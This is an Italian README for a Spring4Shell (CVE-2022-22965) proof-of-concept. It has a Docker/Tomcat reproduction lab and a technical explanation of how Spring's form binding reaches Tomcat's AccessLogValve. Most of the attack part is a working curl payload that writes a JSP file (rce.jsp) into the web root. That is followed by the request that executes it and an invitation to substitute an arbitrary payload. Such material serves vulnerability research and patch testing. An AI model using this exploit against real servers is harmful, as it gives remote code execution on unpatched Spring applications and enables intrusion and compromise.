
Exploit proof-of-concept per CVE-2022-22965 (Spring4Shell) che dimostra l'esecuzione remota di codice tramite la manipolazione di Tomcat AccessLogValve. Include ambiente di riproduzione basato su Docker e analisi tecnica dettagliata.
Esempio minimale di come riprodurre la CVE-2022-22965 Spring RCE.
docker-compose up --build
./exploits/run.sh
rce.jsp in webapps/handling-form-submission-complete sul server web.Avviare il server Tomcat in docker
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
Aggiungere -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" se si vuole eseguire il debug da remoto.
Compilare il progetto
./mvnw install
Distribuire l'app
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
Scrivere l'exploit
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
L'exploit creerà il file rce.jsp in webapps/handling-form-submission-complete sul server web.
Usare l'exploit
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Ora vedrete 123 nel terminale del container. Sostituite System.out.println(123) con il vostro payload per eseguire codice arbitrario.
GreetingController gestisce le richieste POST sull'endpoint /greeting e associa i campi del form all'oggetto Greeting.user.info.firstname). Vedere AbstractNestablePropertyAccessor per i riferimenti.Greeting ha due campi id e content, ma in realtà ha anche un riferimento all'oggetto Class. Possiamo usare class.module.classLoader come chiave dei dati del form per accedere al classloader.module.Greeting. Nient'altro. Nella maggior parte dei casi non è nemmeno pericoloso perché non sono disponibili classi con campi pubblici nemmeno da class.module.classLoader..getResources che ci permette di continuare la catena di riferimenti e accedere a una delle istanze della classe AccessLogValve.jsp nella radice della cartella dell'applicazione con il payload malevolo. Poiché i jsp vengono eseguiti automaticamente da Tomcat, possiamo navigare fino ad esso nel browser ed eventualmente eseguire il payload. Ora è RCE.L'exploit funziona solo su Tomcat perché ha un classloader speciale. Sebbene una catena di riferimenti simile possa esistere anche su altri server di applicazioni web. Non è ancora stata scoperta semplicemente.
L'exploit richiede Java 9 o superiore perché la proprietà module è stata aggiunta in Java 9.